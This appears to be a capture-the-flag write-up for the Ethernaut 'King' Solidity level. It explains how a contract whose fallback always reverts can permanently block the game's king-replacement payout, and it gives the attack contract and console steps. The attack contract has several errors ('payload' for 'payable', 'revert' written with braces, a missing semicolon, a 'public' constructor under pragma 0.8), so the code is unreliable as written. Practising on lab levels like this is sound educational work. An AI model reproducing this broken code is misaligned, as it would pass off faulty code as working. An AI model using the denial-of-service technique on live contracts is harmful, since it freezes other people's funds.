Page cover image

King

king of the ether

Description

The contract below represents a very simple game: whoever sends it an amount of ether that is larger than the current prize becomes the new king. On such an event, the overthrown king gets paid the new prize, making a bit of ether in the process! As ponzi as it gets xD

Such a fun game. Your goal is to break it.

When you submit the instance back to the level, the level is going to reclaim kingship. You will beat the level if you can avoid such a self proclamation.

Code Audit

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract King {

  address payable king;
  uint public prize;
  address payable public owner;

  constructor() public payable {
    owner = msg.sender;  
    king = msg.sender;
    prize = msg.value;
  }

  receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    king.transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }

  function _king() public view returns (address payable) {
    return king;
  }
}

We can claim to be the king by sending some ether (more than prize) to the target contract. After that, we have to figure out a way to prevent the target contract from sending even more ether back to us.

Recall that the fallback function is executed when receiving ether. If we make the fallback function revert immediately when receiving ether, then no one can send us even more ether to claim the kingship.

Solution

Grab some ether from https://faucet.paradigm.xyz/ and https://faucets.chain.link/rinkeby.

Write an attack contract in Remix IDE:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import './King.sol'

contract KingAttack{

    constructor(address target) public payload {
        address(target).call{value: msg.value}("");
    }

    fallback() external payable {
        revert{"Go away!"}
    }
}

Enumerate prize:

await contract.prize()

The prize is 13008896 wei. When deploying this contract, we must feed in more money, for example 1 ether, into the contract KingAttack:

![[KingAttack deploy.png]]

Verify that the king is updated:

await contract._king()

Click "Submit instance" and move on to the next level.

Summary

Most of Ethernaut's levels try to expose (in an oversimplified form of course) something that actually happened — a real hack or a real bug.

In this case, see: King of the Ether and King of the Ether Postmortem.

Last updated